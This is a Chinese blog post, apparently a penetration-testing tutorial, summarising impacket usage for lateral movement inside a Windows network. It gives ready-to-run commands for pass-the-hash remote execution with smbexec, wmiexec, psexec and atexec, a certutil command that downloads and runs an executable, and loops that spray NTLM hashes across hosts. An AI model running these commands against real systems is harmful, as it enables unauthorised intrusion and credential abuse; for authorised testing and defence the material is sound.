impacket的使用总结

最新推荐文章于 2025-03-20 18:10:29 发布

Shanfenglan7

最新推荐文章于 2025-03-20 18:10:29 发布

阅读量10w+

点赞数 3

分类专栏：内网渗透横向移动文章标签：安全

本文链接：https://blog.csdn.net/qq_41874930/article/details/108253531

版权

内网渗透同时被 2 个专栏收录

55 篇文章

订阅专栏

横向移动

9 篇文章

订阅专栏

本文详细介绍如何使用impacket工具进行网络渗透测试，包括下载地址、smbexec、wmiexec、psexec等模块的使用方法，以及通过atexec模块进行文件下载与远程命令执行的技巧。此外，还讲解了hash喷洒攻击、黄金票据制作与使用，以及在Linux环境中获取票据的方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

impacket下载地址

exe版本下载地址
 python版本下载地址

smbexec

./smbexec.py test/administrator@192.168.23.99 -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 #左面是lm-hash，右边是nt-hash，lmhash可以为空
./smbexec.py -hashes :3dbde697d71690a769204beb12283678 test/administrator@192.168.23.99
./smbexec.py test/administrator:123@192.168.23.99
在这里插入图片描述

wmiexec

./wmiexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@172.16.99.146
在这里插入图片描述

psexec

./psexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@172.16.99.146

./psexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@192.168.124.136 -c /root/1.exe
在这里插入图片描述

文件下载与远程命令执行

./atexec.py test/administrator:1234@192.168.124.136 “certutil -urlcache -split -f http://192.168.124.136/1.exe 2.exe”

./atexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/administrator@192.168.124.136 1.exe

hash喷洒攻击

内网机器遍历做hash传递验证,ips.txt内容为内网ip，每段一条
FOR /F %i in (ips.txt) do atexec.exe -hashes :3dbde697d71690a769204beb12283678 ./administrator@%i whoami
在这里插入图片描述

指定主机ntlm hash遍历验证，hashes.txt为已知ntlm hash内容，每段一条
FOR /F %i in (hashes.txt) do atexec.exe -hashes %i ./administrator@192.168.23.99 whoami
在这里插入图片描述
文件内部的hash格式应该为":nthash"或者"lmhash:nthash",如果只采用nthash切记加一个冒号":"